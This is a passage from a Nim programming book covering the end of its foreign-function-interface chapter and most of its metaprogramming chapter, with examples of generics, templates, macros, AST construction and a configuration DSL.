tracing the lines of the letter Draws the letter Licensed to <null> 248 CHAPTER 8 Interfacing with other languages 8.4 Summary  The Nim foreign function interface supports interfacing with C, C++, Objective-C, and JavaScript.  C libraries can be either statically or dynamically linked with Nim applications.  C header files declare procedure prototypes and types that provide all the infor- mation necessary to wrap them.  The importc pragma is used to wrap a foreign procedure, including C and JavaScript procedures.  The discardable pragma can be used to override the need to explicitly discard values.  The cstring type should be used to wrap procedures that accept a string argu- ment.  Using an external C library is best done via dynamic linking.  The dynlib pragma is used to import a procedure from a shared library.  The importcpp pragma is used to wrap C++ procedures and also member pro- cedures in JavaScript. Figure 8.11 The canvas_test.nim script showing a blue screen with the letter N in the web browser Licensed to <null> 249 Metaprogramming This chapter describes one of the most advanced and most powerful features in the Nim programming language: metaprogramming, composed of a number of compo- nents including generics, templates, and macros. Metaprogramming is a feature of Nim that gives you the ability to treat your application’s source code as data. This means you can write code that reads, gener- ates, analyses, and modifies other code. Being able to perform such activities brings many advantages, including allowing you to minimize the number of lines of code needed to express a solution. In turn, this means that metaprogramming reduces development time. Generating code is usually easy enough in most languages, but reading, analyz- ing, and modifying it isn’t. Consider the following simple type definition: This chapter covers  Understanding metaprogramming and its uses  Using generics to remove code duplication  Constructing a Nim abstract syntax tree  Executing code at compile time  Using templates and macros Licensed to <null> 250 CHAPTER 9 Metaprogramming type Person = object name: string age: int Analyzing this code to retrieve information about the Person type isn’t easy in a lan- guage without metaprogramming. For instance, in Java, you could do it via reflection at runtime. In other languages, you could attempt to treat the type definition as a string and parse it, but doing so would be very error prone. In Nim, there are facilities that allow you to analyze type definitions at compile time. You may, for example, wish to iterate over each of the fields in a specified type: import macros type Person = object name: string age: int static: for sym in getType(Person)[2]: echo(sym.symbol) Compiling the preceding code will display the strings name and age among the com- piler’s output. That’s just one example of what metaprogramming allows you to accomplish. You might use this to serialize any data type, without having to write code specific to each data type, whether defined by you or someone else. You’ll find that through this and many other features, metaprogramming opens up a vast number of possibilities. Here are some other use cases for metaprogramming:  Advanced control flow mechanisms, such as async procedures  Lazy evaluation, used in the logging module to ensure that parameters are only evaluated if logging is enabled  Lexer and parser generation Metaprogramming adds a lot of flexibility to Nim, and because it’s executed at com- pile time, it does so without causing any decrease in your program’s execution time. In this chapter, you’ll learn about the three metaprogramming constructs, starting with generics, moving on to templates, and finishing up with macros. At the end of the chapter, you’ll see how you can write a simple DSL for configuration files. DSLs are lan- guages that are specialized to a particular application domain; they’ll be discussed in more detail in section 9.4. 9.1 Generics As you already know, Nim is a statically typed programming language. This means that each piece of data in Nim has a type associated with it. In some cases, these types are distinct but very similar. For example, the int and float types both represent num- bers, but the former can’t represent a fraction, whereas the latter can. Licensed to <null> 251 Generics Generics are a feature that allows you to write your applications in a style called generic programming, in which you write algorithms in terms of types that aren’t known until the algorithms are invoked. Generic programming is useful because it offers a reduction in code duplication. Generics are related to the two other metaprogramming components in Nim— templates and macros—because they offer a way to generate repetitive code. This sec- tion covers generics in procedures and types, showing how to best utilize them in those contexts. It also briefly shows how generics can be constrained to make the defi- nitions of algorithms more accurate. Some languages refer to generics as parametric polymorphism or as templates. Many prominent statically typed programming languages include support for generics, including Java, C#, C++, Objective C, and Swift. There are also a few that consciously omit the feature; the Go programming language is infamous for doing so. 9.1.1 Generic procedures To give you a better idea of how generics in Nim work, take a look at the following implementation of a generic myMax procedure: proc myMax[T](a, b: T): T = if a < b: return b else: return a doAssert myMax(5, 10) == 10 doAssert myMax(31.3, 1.23124) == 31.3 The key part of this example is the first line. There, a generic type, T, is defined in square brackets after the procedure name, and it’s then used as the type for the parameters a and b as well as the procedure’s return type. Occasionally, the compiler may not be able to infer generic types. In those cases, you can specify them explicitly using square brackets, as shown in the following code: doAssert myMax[float](5, 10.5) == 10.5 This code tells the compiler explicitly that the generic type T should be instantiated to float for this myMax procedure call. You can define as many generic types in a procedure definition as you want. Cur- rently, the myMax procedure only accepts two arguments of the same type. This means that the following procedure call will fail with a type mismatch error: doAssert myMax(5'i32, 10.5) == 10.5 The preceding code fails to compile because the type of argument a is int32, whereas the type of b is float. The myMax procedure defined previously can only be called with arguments of the same type. Licensed to <null> 252 CHAPTER 9 Metaprogramming 9.1.2 Generics in type definitions When writing Nim code, you may run into cases where you’d like to specify the types of one or more fields in an object during initialization. That way, you can have a single generic type definition, and you can specialize it by specifying a particular type on a case-by-case basis. This is useful for container types, such as lists and hash maps. A simple single-item generic container can be defined as follows: type Container[T] = object empty: bool value: T This code defines a Container type that accepts a generic type T. The type of the value that the Container type stores is then determined by the generic type T speci- fied when a Container variable is defined. A constructor for the Container type can be defined like this: proc initContainer[T](): Container[T] = result.empty = true You can then call this constructor as follows: var myBox = initContainer[string]() Specifying the generic type in between the square brackets is currently mandatory. This means that the following code will not work: var myBox = initContainer() Compiling this code will result in an “Error: cannot instantiate: 'T'” message. As men- tioned previously, the compiler can’t always infer the generic type, and this is one case where it can’t. 9.1.3 Constraining generics Occasionally, you may wish to limit the types accepted by a generic procedure or type definition. This is useful for making the definition stronger and therefore more clear to yourself and other users of your code. Consider the myMax procedure defined previ- ously and what happens when it’s called with two strings:1 proc myMax[T](a, b: T): T = if a < b: return b else: return a echo myMax("Hello", "World") 1 There’s a reason why I named this procedure myMax and not max. I wanted to avoid a conflict with the max procedure defined in the system module. Licensed to <null> 253 Generics If you save this code, compile, and run it, you’ll see the string World displayed. Let’s assume that you don’t want your algorithm to be used with a pair of strings, but only with integers and floats. You can constrain the myMax procedure’s generic type like so: proc myMax[T: int | float](a, b: T): T = if a < b: return b else: return a echo myMax("Hello", "World") Compiling this code will fail with the following error: /tmp/file.nim(7, 11) Error: type mismatch: got (string, string) but expected one of: proc myMax[T: int | float](a, b: T): T To make the constraint process more flexible, Nim offers a small number of type classes. A type class is a special pseudo-type that can be used to match against multiple types in a constraint context. You can define custom type classes like so: type Number = int | float | uint proc isPositive(x: Number): bool = return x > 0 Many are already defined for you in the system module. There are also a number of built-in type classes that match whole groups of types. You can find a list of them in the Nim Manual: http://nim-lang.org/docs/manual.html#generics-type-classes. 9.1.4 Concepts Concepts, sometimes known as user-defined type classes in other programming languages, are a construct that can be used to specify arbitrary requirements that a matched type must satisfy. They’re useful for defining a kind of interface for procedures, but they’re still an experimental Nim feature. This section will give you a quick overview of con- cepts without going into too much detail, because their semantics may still change. The myMax procedure defined earlier includes a constraint that limits it to accept- ing only int and float types as parameters. For the purposes of the myMax procedure, though, it makes more sense to accept any type that has the < operator defined for it. A concept can be used to specify this requirement in the form of code: type Comparable = concept a (a < a) is bool A concept definition is introduced with the concept keyword. What follows are the type identifiers. For this concept to match the type, a < procedure that returns a bool value must be defined for the type. Licensed to <null> 254 CHAPTER 9 Metaprogramming proc myMax(a, b: Comparable): Comparable = if a < b: return b else: return a A concept is composed of one or more expressions. These expressions usually utilize the instances that are defined after the concept keyword. When a type is checked against a concept, the type is said to implement the concept as long as both of these are true:  All the expressions in the concept body compile  All the expressions that evaluate to a Boolean value are true The is operator determines whether the specified expression returns a value of type bool by returning true if it does and false if it doesn’t. You can check whether the Comparable concept works as expected by writing some quick tests. The following is from a previous example: doAssert myMax(5, 10) == 10 doAssert myMax(31.3, 1.23124) == 31.3 You’d expect both lines to work, and they do. The first line specifies two int argu- ments; a proc `<`(a, b: int): bool exists, so int satisfies the Comparable concept. The second line specifies two float arguments, and a similar proc `<`(a, b: float): bool also exists. But attempting to pass two arrays into the myMax procedure by writing echo myMax([5, 3], [1, 6]) fails as follows: /tmp/file.nim(11, 9) Error: type mismatch: got (Array constructor[0..1, int], ➥Array constructor[0..1, int]) but expected one of: proc myMax[Comparable](a, b: Comparable): Comparable ... Concepts are powerful, but they’re also a very new Nim feature, and as such are con- sidered experimental. As a result, this chapter doesn’t go into detail about them, but you’re more than welcome to read about them in the Nim manual: http://nim-lang .org/docs/manual.html#generics-concepts. Now let’s move on to templates. 9.2 Templates A template in Nim is a procedure that generates code. Templates offer one of the easi- est ways to generate code directly, the other being macros, which you’ll learn about in the next section. Unlike generics, templates offer a substitution mechanism that allows you to substitute arguments passed to them in the body of the template. Just like with all metaprogramming features, their code-generation ability helps you deal with boilerplate code. Licensed to <null> 255 Templates In general, templates offer a simple way to reduce code duplication. Some fea- tures, like their ability to inject variables into the calling scope, are easiest to achieve in Nim by defining a template. Templates are invoked in the same way as procedures. When the Nim compiler compiles your source code, any template invocations are substituted with the contents of the template. As an example, take a look at the following template from the stan- dard library: template `!=` (a, b: untyped) = not (a == b) It would be possible to define the != operator as a procedure, but that would require a separate implementation for each type. You could use generics to get around this, but doing so would result in a lot more call overhead. This template definition of != means that this line doAssert(5 != 4) gets rewritten as follows: doAssert(not (5 == 4)) This is done during compilation, as shown in figure 9.1. The primary purpose of templates is to offer a simple substitution mechanism that reduces the need for code duplication. In addition, templates offer one feature that procedures don’t: a template can accept blocks of code. Don’t worry about the “untyped” type right now. It will be explained later. $ nim c file doAssert(5 != 4) Templates are expanded Template expansion doAssert(not (5 == 4)) Compilation successful! File is loaded and parsed After expansion Before expansion Figure 9.1 Templates are expanded during the compilation of Nim source code Licensed to <null> 256 CHAPTER 9 Metaprogramming 9.2.1 Passing a code block to a template Code blocks are composed of one or more statements, and in an ordinary procedure call, passing multiple statements into the procedure can only be done using an anony- mous procedure. With templates, you can pass a code block much more directly. Nim supports a special syntax for templates that allows one or more code statements to be passed to them. The following code shows a template definition that accepts a code block as one of its parameters: import os template repeat(statements: untyped) = while true: statements repeat: echo("Hello Templates!") sleep(1000) CODE BLOCKS IN MACROS Macros, which you’ll learn about in the next sec- tion, also support code blocks as parameters. The statements identifier in the body of the template is replaced with whatever code block is passed into the template. After the compiler expands the template, the remaining code looks like this: import os while true: echo("Hello Templates!") sleep(1000) Figure 9.2 shows the code that’s generated by the repeat template, which accepts a code block as an argument. This shows some of the amazing substitution capabilities of templates. Of course, template parameters don’t always have to accept a code block. The next section describes how template parameters are substituted into the body of a template and how the parameter’s type affects this. MULTIPLE CODE BLOCKS There are also ways to pass multiple code blocks to a template or macro via do notation, but this is beyond the scope of this chap- ter. See the Nim manual’s discussion of do notation for more information: http://nim-lang.org/docs/manual.html#procedures-do-notation. Needed for the sleep procedure. The template accepts a statements parameter that corresponds to the code block. The code block is substituted into here. Templates that accept code blocks are used like this. Licensed to <null> 257 Templates It’s important to know how code blocks and other parameters interact. The rule is that when a code block is passed into a template, the last parameter always contains it. Here’s an example: import os template repeat(count: int, statements: untyped) = for i in 0 .. <count: statements repeat 5: echo("Hello Templates!") sleep(1000) 9.2.2 Parameter substitution in templates Templates can accept multiple parameters, and these parameters are often simple identifiers, such as variable or type names. In this section, I’ll explain the different template-specific parameter types and how they modify the parameter-substitution behavior in templates. Arguments can be passed into templates in the same manner as with procedures: template declareVar(varName: untyped, value: typed) = var varName = value declareVar(foo, 42) echo(foo) echo("Hello Templates!" ) sleep(1000) Argument statements while true: statements Template repeat while true: echo("Hello Templates!" sleep(1000) Final result The repeat template substitutes every occurrence of the statements identifier in its body with the code block that was passed to it. The resulting code is a mixture of the template’s body and the code block that was passed to it. The repeat template is invoked with the statements code block. Figure 9.2 A code block passed into the repeat template is substituted into its body The last parameter named “statements” contains the code block. The template’s return value is void because its body is a statement that has no type. Whatever arguments are passed into the template, they will replace varName and value in this line. This line will be expanded to var foo = 42. Licensed to <null> 258 CHAPTER 9 Metaprogramming When the declareVar template is called, it expands into a simple variable declaration. The name and value of the variable is specified in the template using two arguments that differ in type, the first being untyped and the second typed. Figure 9.3 shows how the declareVar template produces code that defines a new variable. The difference between the untyped and typed argument types is simple:  Untyped—An untyped template argument allows identifiers that haven’t been declared yet to be specified. The reason this type is named untyped is because undeclared identifiers have no type yet. The foo identifier in the preceding example isn’t declared anywhere and is thus untyped.  Typed—A typed template argument allows an identifier that has been declared, or a value that has a type, to be specified. In the preceding example, the value 42 has the type int. The typed type allows any type to be specified, but tem- plates also allow you to specify concrete types like int, float, and string. To see the difference in more detail, take a look at the following declareVar calls: var myInt = 42 declareVar(foo, myInt) declareVar(foo, myUndeclaredVar) Remember that the second parameter of declareVar is typed, so undeclared vari- ables can’t be passed to it. Only if a variable has the specified identifier defined can it be passed into declareVar. Compiling the preceding code listing will result in an “undeclared identifier” error. template declareVar(varName: untyped, value: typed) = var varName = value declareVar(foo, 42) var foo = 42 The identifier and integer value are substituted in the body of the template. This code is generated as a result. This argument can be an undefined identifier because its type is untyped. This argument must be a defined variable or a literal value because its type is typed. Figure 9.3 Arguments are substituted as-is in templates. Their types determine whether an undefined identifier is accepted. This will compile because myInt is declared above. This won’t compile because myUndeclaredVar is not declared anywhere. Licensed to <null> 259 Templates 9.2.3 Template hygiene As shown with the preceding declareVar template, templates can define variables that are accessible after the template is instantiated, but this feature may not always be desirable. There may be cases when you wish to declare a variable inside a template without exposing it to the outside scope, a practice referred to as template hygiene. Consider the previous template example again: template declareVar(varName: untyped, value: typed) = var varName = value declareVar(foo, 42) echo(foo) Calling the declareVar template declares a new variable because the varName variable is injected into the calling scope. The injection occurs automatically because the name of the variable is taken from the template’s arguments. Normally, variables aren’t injected into templates unless they’re marked explicitly with the {.inject.} pragma. The following code shows a comparison of the different cases where variables are injected and where they aren’t: template hygiene(varName: untyped) = var varName = 42 var notInjected = 128 var injected {.inject.} = notInjected + 2 hygiene(injectedImplicitly) doAssert(injectedImplicitly == 42) doAssert(injected == 130) Attempting to access the notInjected variable outside the template will result in an “Error: undeclared identifier: 'notInjected'” message. The other variables are accessi- ble because they’re injected by the template into the calling scope. When writing templates, make sure that you document precisely the variables that are injected by the template, and be careful that only those variables are exposed. Keep in mind that, in general, injecting variables is considered bad style. The stan- dard library only injects variables in rare cases, such as in the mapIt procedure or the =~ operator defined in the re module. For reference, the following definitions are all hygienic by default:  type  var  let  const Injected implicitly because its name is taken from the varName parameter Only accessible in this template Injected because of the {.inject.} pragma. Note how the notInjected variable can still be used. Licensed to <null> 260 CHAPTER 9 Metaprogramming In contrast, the following definitions aren’t hygienic by default:  proc  iterator  converter  template  macro  method The decision to make certain identifiers hygienic and others not was made to capture the most common use cases without annotations. The next section explains macros, a component of Nim related to templates that’s a lot more flexible and many times more powerful than templates. 9.3 Macros A macro in Nim is a special kind of procedure that’s executed at compile time and that returns a Nim expression or statement. Macros are the ultimate way to read, gen- erate, analyze, and modify Nim code. In the world of computer science, macros exist in many different forms. Templates are indeed a form of macro, albeit a very simple form that mostly consists of simple substitutions. Templates are said to be declarative, because in their body they show what the code that should be produced looks like, instead of describing the steps needed to produce that code. A Nim macro, on the other hand, is said to be procedural because it contains steps that describe how the code should be produced. When macros are invoked, their body is executed at compile time, which means a related feature of the Nim program- ming language, compile-time function execution, is also relevant to the study of macros. This feature allows procedures to be executed by the compiler during compilation, and you’ll learn more about it in the next section. Macros operate on Nim code, but not in the same way that you operate on code. You, as a programmer, are used to dealing with the textual representation of code. You write, read, and modify code as text. But macros don’t work that way. They oper- ate on a different representation known as an abstract syntax tree (AST). The abstract syntax tree is a special tree structure that represents code; you’ll learn more about it in section 9.3.2. Figure 9.4 shows the primary difference between templates and macros. We’ll go through each of these concepts to teach you the ins and outs of macros. At the end, you’ll also get to use your new macro skills to write a simple configuration library. First, to understand how macros work, you’ll need to learn about the concept of compile-time function execution. Licensed to <null> 261 Macros 9.3.1 Compile-time function execution Compile-time function execution (CTFE) is a feature of Nim that allows procedures to be executed at compile time. This is a powerful feature that’s relatively uncommon among programming languages. CTFE was introduced briefly in chapter 2, where you were shown that the value of a constant in Nim must be computable at compile time. proc fillString(): string = result = "" echo("Generating string") for i in 0 .. 4: result.add($i) const count = fillString() When the preceding code is compiled, the message “Generating string” will be shown among the compilation messages. This is because the fillString procedure is exe- cuted at compile time. Compile-time execution has some limits, including the following:  There’s no access to the foreign function interface (FFI), which means that some modules or procedures can’t be used. For example, you can’t generate random numbers at compile time unless you do so indirectly using staticExec. Templates Macros x != y not (x == y) Create equality comparison between the x and y identifiers. Create a call to the not keyword. x != y not (x == y) infix(x, "==", y) newCall("not", infix(...)) Templates substitute values into new expressions or statements. Macros generate new code procedurally. Figure 9.4 Templates are declarative, whereas macros are procedural. Licensed to <null> 262 CHAPTER 9 Metaprogramming  Global variables that aren’t annotated with the {.compileTime.} pragma can’t be accessed at compile time. Despite these limitations, Nim includes workarounds to permit common operations like reading files and executing external processes at compile time. These operations can be performed using the staticRead and staticExec procedures, respectively. Because macros are used to generate, analyze, and modify code, they must also be executed at compile time. This means that the same limits apply to them as well. 9.3.2 Abstract syntax trees An AST is a data structure that represents source code. Many compilers use it internally after the source code is initially parsed. Some, like the Nim compiler, expose it to the user. The AST is a tree with each node representing a single construct in the code. Let’s look at an example. Consider a simple arithmetic expression such as 5 * (5 + 10). The simplest AST for this might look something like the one shown in figure 9.5. I’ll refer to this AST as the Simple AST for the rest of this chapter. Let’s look at how the Simple AST can be rep- resented as a Nim data type. The following listing shows the definition for a Node type that’s then used to model the Simple AST shown in figure 9.5. type NodeKind = enum Literal, Operator Node = ref object case kind: NodeKind of Literal: value: int of Operator: left, right: Node operator: char proc newLiteralNode(value: int): Node = result = Node( kind: Literal, value: value ) var root = Node( kind: Operator, operator: '*', Listing 9.1 Modeling the Simple AST shown in figure 9.5 In the Simple AST, there are only two node kinds: literals, which include any number, and operators, which specify the type of arithmetic operation to perform. When the node is a literal, an int can be stored in its value field. Each operator node may have up to two child nodes. This recursive definition allows a tree to be formed. When the node is an operator, a char can be stored in its operator field. A convenience proc to create a new literal node The “root” variable holds a reference to the root node in the AST. + 5 10 5 * Figure 9.5 A simple AST for 5 * (5 + 10) Licensed to <null> 263 Macros left: newLiteralNode(5), right: Node( kind: Operator, operator: '+', left: newLiteralNode(5), right: newLiteralNode(10), ) ) The root node holds the full representation of 5 * (5 + 10) in the form of an AST. Figure 9.6 shows how the Simple AST diagram maps to the Node data structure defined in listing 9.1. You could write a procedure to convert any Node instance into its textual representation, or to display it as a tree using an indentation- based format as follows. Operator '*' Literal 5 Operator '+' Literal 5 Literal 10 Nim’s AST isn’t as simple as this because it models a language that’s far more complex than simple arithmetic expressions. However, the arithmetic expression modeled by the Simple AST is valid Nim code, so we can compare Nim’s AST to it. The dumpTree macro defined in the macros module takes a block of code as input and outputs the code block’s AST in the same indentation-based format as shown in listing 9.2. To display the AST of 5 * (5 + 10) in Nim, compile the following code: import macros dumpTree: 5 * (5 + 10) Among the messages from the compiler, you should see the following. StmtList Infix Ident !"*" IntLit 5 Par Infix Ident !"+" IntLit 5 IntLit 10 Listing 9.2 A simplified AST for 5 * (5 + 10) displayed using an indentation-based format Listing 9.3 The Nim AST for 5 * (5 + 10) displayed using an indentation-based format left right + 5 10 5 left right * root Literal Operator Operator Literal Literal Figure 9.6 An annotated version of figure 9.5 showing how it maps onto root in listing 9.1 Licensed to <null> 264 CHAPTER 9 Metaprogramming You’ll note that the Nim AST differs from the Simple AST of the arithmetic expression in two important ways:  It includes many more node kinds, such as StmtList, Infix, and Ident.  The AST is no longer a binary tree: some nodes contain more than two children. The structure is the same, but this AST contains more information about the expres- sion. For example, it indicates that infix notation was used to invoke the * and + oper- ators, and that a part of the expression is enclosed in parentheses. The AST can represent any valid Nim code, so there are many node kinds. To get a feel for the different node kinds, try displaying the AST of some common constructs, such as procedures, for loops, procedure calls, variable declarations, and anything else you can think of. The Nim AST is described in the documentation for the macros module (http://nim-lang.org/docs/macros.html). The documentation includes the defini- tion of a NimNode type that’s very similar to the Node type defined in listing 9.1. The macros module also contains many procedures that can be used for building, modify- ing, and reading the AST. Before moving on, let’s look at some of these node kinds. Table 9.1 describes each of the node kinds in the Nim AST that you’ve seen so far. Let’s try to build the Nim AST of 5 * (5 + 10) in a way that’s similar to the definition of root in listing 9.1, using the procedures defined in the macros module. The following listing shows the code needed to create this AST. Table 9.1 Various Nim node kinds and what they mean Node kind Description Children StmtList A list of statements. Arbitrary number of other Nim nodes that represent a statement. Infix An infix expression, such as 5 * 5. Infix operator, the infix operator’s two arguments. Ident An identifier, such as the name of a procedure or variable. The node’s ident field contains the identifier. Cannot contain children. Par Parentheses The code inside the parentheses. IntLit An integer literal. The node’s intVal field contains the integer value. Cannot contain children. Licensed to <null> 265 Macros import macros static: var root = newStmtList( infix( newIntLitNode(5), "*", newPar( infix( newIntLitNode(5), "+", newIntLitNode(10) ) ) ) ) echo(root.repr) Compile listing 9.4, and you’ll see that the output is 5 * (5 + 10). You’ve successfully constructed your first Nim AST! 9.3.3 Macro definition So far, you’ve learned what an AST is, including how it can be constructed and the different ways of displaying it during compilation. But you’re still missing an important piece of knowledge: how to add the Nim code that the AST represents into the final executable. A macro is used for precisely that purpose. In the previous section, you constructed a simple arithmetic expression that produces a numeric value. Let’s write a macro that emits this expression’s AST so its result can be calculated. import macros macro calculate(): int = result = newStmtList( infix( newIntLitNode(5), "*", newPar( infix( newIntLitNode(5), "+", newIntLitNode(10) ) ) ) ) echo(calculate()) Listing 9.4 Creating the Nim AST of 5 * (5 + 10) Listing 9.5 A macro that emits 5 * (5 + 10) The macros module defines all the necessary procedures for constructing the AST. The static keyword runs its body at compile time. It’s used because the AST procedures are only available at compile time. The repr call converts the root node to a textual representation of the Nim code. Imports the macros module, which is necessary for AST creation Defines a new macro called “calculate” Creates a new StmtList node with children. The resulting node produces “5 * (5 + 10).” Creates a new Infix node as a child of the StmtList node. The resulting node produces “5 * (5 + 10).” Creates a new IntLit node as a child of the Infix node. The resulting node produces “5.” Specifies the infix operator to call Creates a new Par node as a child of the Infix node. The resulting node produces “(5 + 10).” Creates a new Infix node as a child of the Par node. The resulting node produces “5 + 10.” Licensed to <null> 266 CHAPTER 9 Metaprogramming There are two important things to note about listing 9.5:  Macros can be invoked in the same way as procedures and templates.  The AST tree structure constructed in the body of the macro is very similar to the Nim AST shown in listing 9.3. The calculate macro currently generates only a single expression, so the StmtList node can be safely removed from the calculate macro. Once you remove it, the macro will generate functionally equivalent code with no extraneous AST nodes. That was a very simple macro, designed to show you how macros use the AST to emit Nim code. The equivalent template is much simpler and achieves the same thing: template calculate(): int = 5 * (5 + 10) echo(calculate()) The calculate macro produces a static AST, but the true power of macros is their abil- ity to produce ASTs dynamically. The next section will show you how to best make use of this power. 9.3.4 Arguments in macros As with procedures and templates, when macros are called, you may pass one or more arguments to them. Doing so allows you to alter the behavior of your macro, changing the code that it produces. You may, for example, wish to pass the name of a variable that the macro should use in the code that it generates. You should think about arguments passed to macros a little bit differently from those passed to procedures and templates. For example, a macro parameter’s type may be int, but in the body of the macro, it’s a NimNode. The following code demon- strates this: import macros macro arguments(number: int, unknown: untyped): untyped = result = newStmtList() echo number.treeRepr() echo unknown.treeRepr() arguments(71, ["12", "89"]) Compiling this listing will result in the following output: IntLit 71 Bracket StrLit 12 StrLit 89 Every macro must have a return type. Every macro must generate a valid AST; an empty StmtList node is created here to satisfy this rule. The treeRepr procedure is similar to the dumpTree macro; it returns a textual representation of a NimNode. The AST of the first argument passed to the macro: 71 The AST of the second argument passed to the macro: ["12", "89"] Licensed to <null> 267 Creating a configuration DSL There are two things that you need to take away from this example:  A macro must always have a return type, and it must always return a valid AST, even if that AST is essentially empty.  All macro parameters are Nim AST nodes (with the exception of static[T] and typedesc parameters; you can find information about such special types in the Nim manual: http://nim-lang.org/docs/manual.html#special-types). The latter point makes perfect sense because macros already manipulate the AST. Representing each macro argument as an AST node allows for constructs that ordi- narily wouldn’t be possible in Nim. One example of this is the following: arguments(71, ["12", 876, 0.5, -0.9]) This example displays the following AST for the second argument: Bracket StrLit 12 IntLit 876 Float64Lit 0.5 Prefix Ident !"-" Float64Lit 0.9 Arrays in Nim are homogeneous, so each value that they contain must be of the same type. Attempting to declare an array with the values "12", 876, 0.5, -0.9 wouldn’t be possible because the value’s types include string, int, and float. In this case, macros give greater flexibility, allowing the possibility to use a heterogeneous array construc- tor when calling macros. That should give you a good idea of the basic macro concepts. In the next section, I’ll show you how to build a configuration DSL. 9.4 Creating a configuration DSL Perhaps most usefully, metaprogramming allows you to create a DSL: a language that’s specialized to a particular application domain. Within the bounds of Nim’s syntax, you can define very flexible and intuitive languages that make writing software easier. For example, you might write a DSL for defining the structure of HTML. Instead of writing a long, error-prone string literal, you could write something like the following: html: head: title("My page") body: h1("Hello!") That’s just one example. In this section, I’ll show you how to create a configuration DSL that will allow you to more easily define the structure of a configuration file and to read and write configuration files easily. You’ll first see how a typical DSL is repre- sented in Nim’s AST, and then we’ll look at the AST representation of the desired gen- erated code. Finally, we’ll look at how to build that AST based on information specified by the user when they use the DSL. Licensed to <null> 268 CHAPTER 9 Metaprogramming The DSL that you’ll create as part of this chapter will allow the following code to be written: import configurator config MyAppConfig: address: string port: int var config = newMyAppConfig() config.load("myapp.cfg") echo("Configuration address: ", config.address) echo("Configuration port: ", config.port) This code defines a simple configuration file named MyAppConfig that stores two pieces of information: an address that’s a string, and a port that’s an integer. The defi- nition is initialized using a constructor, and it’s then loaded from a local myapp.cfg file. The address and port are then accessible as fields and their values are displayed on the screen. Specifying a configuration like this is useful because it streamlines the process of reading and writing configuration files. There’s only a single place where the configu- ration file is defined, and that file is very easy to read and understand. This DSL will be written as a library named configurator. Let’s get started! 9.4.1 Starting the configurator project Begin by creating a new configurator directory somewhere on your filesystem. As with any project, set up a project directory structure containing a src directory and a Nim- ble file. Remember that you can use the nimble init command to help with this. Finally, create a configurator.nim file inside the src directory, and open it in your favorite code editor. Macros will be used to implement the configurator DSL, so import the macros module at the top of your newly created configurator.nim file. When working on a DSL, it’s a good idea to start by writing down what you’d like the language to look like. Chances are that the code you have in mind may not be pos- sible due to syntax restrictions,2 so it’s a good idea to test your language’s syntax first. The easiest way to do so is to use the dumpTree macro defined in the macros module. For example, to test whether the configuration DSL can be used, you can compile the following: import macros dumpTree: config MyAppConfig: address: string port: int 2 These syntax restrictions are often a good thing because they ensure that Nim programmers can always parse Nim DSLs. Licensed to <null> 269 Creating a configuration DSL The dumpTree macro doesn’t need the code inside it to be defined; the code only needs to be syntactically valid. If the syntax is correct, you’ll see the compiler output its AST, and you can be sure that it can be used as a DSL. After testing the validity of your DSL, you can write a macro for that DSL and dis- play the various arguments’ ASTs, as in the following listing. import macros macro config(typeName: untyped, fields: untyped): untyped = result = newStmtList() echo treeRepr(typeName) echo treeRepr(fields) config MyAppConfig: address: string port: int Save this code into configurator.nim and compile the file. You’ll see the following among the output: Ident !"MyAppConfig" StmtList Call Ident !"address" StmtList Ident !"string" Call Ident !"port" StmtList Ident !"int" This gives you an idea of the AST structure that you’ll be working with. Next, it’s time to decide what code needs to be emitted in order to implement the desired code logic. To implement the example shown at the start of this section, the macro will need to create three separate constructs:  A MyAppConfig object type, to store the configuration data  A newMyAppConfig constructor procedure that initializes a new MyAppConfig type  A load procedure that parses the specified file and then populates the specified instance of the MyAppConfig object with the information stored in the parsed file The name of the generated type and constructor procedure depends on the name specified in the config construction. For the example in listing 9.6, the name speci- fied in the config construction is MyAppConfig. This name will be used by the macro for the generated type and for the constructor, which derives its name from the gener- ated type. Listing 9.6 A simple config macro The config macro takes a type name and a list of fields. Each macro must return a valid AST, so create a basic one here. For now, display the AST of the typeName and fields arguments. Licensed to <null> 270 CHAPTER 9 Metaprogramming The fields included in the generated type will also depend on those specified in the config construction body. This includes the address string field and the port int field in listing 9.6. The next three sections focus on implementing functionality in the macro to create the three constructs: an object type, a constructor procedure, and a load procedure. 9.4.2 Generating the object type Before you begin to write AST-generation code in the macro, you’ll first need to figure out what AST you want to generate, which means you need to know the Nim code that you want the macro to emit. Let’s start by writing down the type definition that should be generated by the config construct. You saw this construct earlier: config MyAppConfig: address: string port: int The type definition that needs to be generated from this is very simple: type MyAppConfig = ref object address: string port: int Two pieces of information specified in the config construct have been used to create this type definition: the type name MyAppConfig, and the two fields named address and port. Like any code, this code can be represented as an AST, and you need to find out what that AST looks like in order to generate it. Let’s take a look at the information that dumpTree shows us about this type definition: import macros dumpTree: type MyAppConfig = ref object address: string port: int Compiling this code should show the following AST. StmtList TypeSection TypeDef Ident !"MyAppConfig" Empty RefTy ObjectTy Listing 9.7 The AST of the MyAppConfig type definition Empty nodes reserve space for extra features like generics in the AST. Licensed to <null> 271 Creating a configuration DSL Empty Empty RecList IdentDefs Ident !"address" Ident !"string" Empty IdentDefs Ident !"port" Ident !"int" Empty The AST in listing 9.7 contains a large number of Empty nodes. These exist for optional constructs like generics, in order to ensure that the index position of each node remains the same. This is important, because navigating an AST is done using the [] operator and an index, which you’ll see in action later in this chapter. Now that you know what the AST that needs to be generated looks like, you can begin to write code to generate it. In some cases, the macros module contains proce- dures that make the process of generating an AST for a specific construct easier. Unfortunately, in this case you’ll need to generate the AST in listing 9.7 manually using certain primitive procedures because there currently is no type section construc- tor in the macros module. The following listing shows a procedure that generates a large chunk of the AST shown in listing 9.7. proc createRefType(ident: NimIdent, identDefs: seq[NimNode]): NimNode = result = newTree(nnkTypeSection, newTree(nnkTypeDef, newIdentNode(ident), newEmptyNode(), newTree(nnkRefTy, newTree(nnkObjectTy, newEmptyNode(), newEmptyNode(), newTree(nnkRecList, identDefs ) ) ) ) ) The code in listing 9.8 creates each node, one by one, manually using the newTree procedure. It takes a node kind as an argument, together with zero or more child Listing 9.8 Generating the AST for a type definition Empty nodes reserve space for extra features like generics in the AST. This procedure takes two arguments: an identifier that specifies the name of the type to define and a list of identifier definitions, which includes information about the type’s fields. It returns a new NimNode. Each node is created using the newTree procedure, which allows children to be easily added during its creation. Each child node is given as an argument to the outer newTree call. Certain specialized procedures make the process of creating nodes easier. Licensed to <null> 272 CHAPTER 9 Metaprogramming nodes. These child nodes are added automatically to the resulting new Nim AST node returned by newTree. Each node kind begins with the nnk prefix. For example, in the procedure’s body, the first line shows the creation of a nnkTypeSection node. This matches the output of dumpTree shown in listing 9.7, except that the output doesn’t contain the nnk prefixes. Note the striking 